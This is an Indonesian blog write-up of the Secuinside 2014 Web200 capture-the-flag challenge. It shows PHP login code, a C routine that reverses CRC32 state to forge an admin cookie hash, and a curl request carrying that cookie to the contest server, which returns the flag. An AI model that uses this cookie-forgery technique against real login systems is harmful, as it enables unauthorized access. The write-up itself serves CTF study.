Sunday, June 1, 2014

CTF Quals Secuinside 2014 Web200

Ini adalah soal yang berhasil kami selesaikan dan kami mendapatkan flagnya, tapi kami terlambat sehingga tidak sempat memasukkan flagnya untuk mendapatkan nilai. Dalam soal ini diberikan sebuah website dan source codenya.  Untuk mendapatkan FLAG, kita perlu bisa login sebagai admin:

 

if($common->islogin()){
if($common->isadmin()) $f = "Flag is : ".__FLAG__;

Dari hasil pembacaan source code, didapatkan bahwa fungsi login adalah seperti ini:

<?php
public function islogin(){
if( preg_match("/[^0-9A-Za-z]/", $_COOKIE['user_name']) ){
exit("cannot be used Special character");
}

if( $_COOKIE['user_name'] == "admin" ) return 0;

$salt = file_get_contents("../../long_salt.txt");

if( hash('crc32',$salt.'|'.(int)$_COOKIE['login_time'].'|'.$_COOKIE['user_name']) == $_COOKIE['hash'] ){
return 1;
}

return 0;
}
?>




Sedangkan fungsi isadmin:


<?php
public function isadmin(){
if( $this->getidx($_COOKIE['user_name']) == 1){
return 1;
}

return 0;
}
?>

Dan Fungsi getidx:


public function getidx($id){
$id = mysql_real_escape_string($id);
$info = mysql_fetch_array(mysql_query("select idx from member where id='".$id."'"));
return $info[0];
}

Terlihat bahwa SQL Injection tidak mungkin dilakukan karena sudah dilakukan escaping dengan mysql_real_escape_string. Berikutnya yang bisa dilakukan adalah mengubah cookie, karena cookie ini dipakai oleh proses login:


if( hash('crc32',$salt.'|'.(int)$_COOKIE['login_time'].'|'.$_COOKIE['user_name']) == $_COOKIE['hash'] )

Perhatikan bahwa hash(“crc32”) PHP tidak sama dengan fungsi crc32() milik php (fungsi crc32() milik PHP sama dengan hash(‘crc32b’)), tabel dan urutan operasi yang dilakukan berbeda. Kesalahan fatal ini yang menyebabkan keterlambatan menyelesaikan soal ini.


Inti operasi CRC32 adalah seperti ini:


crc = 0xFFFFFFFF;
for (i=0; i<len; i++) {
crc = (crc_32_tab[((crc) ^ (data[i])) & 0xff] ^ ((crc) >> 8))

}
crc ^= 0xffffffff;

Kita tidak tahu isi salt, dan tidak bisa membaca file saltnya. Strategi yang digunakan adalah seperti ini: kita bisa mendaftar sebagai user yang kurang dari admin (a, ad, adm, admi), lalu meneruskan proses CRCnya. Sayangnya user name tersebut semuanya sudah diambil. Akhirnya kami mengambil pendekatan lain: membuat user AdminJ (karena beberapa huruf yg lain yang dicoba sudah diambil), lalu mereverse proses CRC-nya untuk mendapatkan nilai CRC sebelumnya.


Karena tidak menemukan paper atau implementansi untuk proses tersebut, jadi perlu dipikirkan sendiri caranya. Pendekatan yang diambil sangat sederhana, fungsi untuk mendapatkan nilai berikutnya adalah:


crc_next = (crc_32_tab[((crc) ^ (data[i])) & 0xff] ^ ((crc) >> 8))


berarti nilai crc lama =


crc = (crc_32_tab[X] ^ crc_next) << 8


Kita punya nilai crc_next (crc saat ini) dan punya nilai data[i] (data terakhir yang masuk). Kita tidak tahu elemen crc_32_tab mana yang dipakai, karena nilainya diambil dari crc^data[i], tapi kita tahu bahwa nilainya pasti adalah salah satu dari 256 isi tabel crc_32_tab (lihat & 0xff), jadi kita bisa membruteforce nilai crc sebelumnya, kemungkinannya cuma 256x256 = 65536.


current_crc ^= FINAL;

for(i=0; i < 256; i++) {
uint32_t xx = current_crc ^ crc_32_tab[i];
xx = xx << 8;
for(j=0; j<256; j++) {
uint32_t _oldcrc = xx | j;
uint32_t nextcrc = UPDC32(removed, _oldcrc);
if (nextcrc==current_crc) {
//printf("Found oldCRC = %08x\n", _oldcrc ^ FINAL);
return _oldcrc ^ FINAL;
}
}

}

Dan kode lengkapnya:





Ketika login sebagai AdminJ, saya mendapatkan cookie e09847e1, yang saya masukkan ke fungsi compute_removed_str2, dengan karakter yang diremove adalah J. Hasilnya adalah de32770e


curl "http://219.240.37.153:5959/63972dfdacc8a838f618275d80d27c1d_h/" -H "Accept-Encoding: gzip,deflate,sdch" -H "Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4" -H "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" -H "Cache-Control: max-age=0" -H "Cookie: login_time=1401623428; user_name=Admin; hash=de32770e" -H "Connection: keep-alive" –compressed 

Didapatkan flagnya


       <div class=text-center> Admin Logined <br /> Flag is : fd602a942c1cd716963996cf96e87847</div> 

No comments:

Post a Comment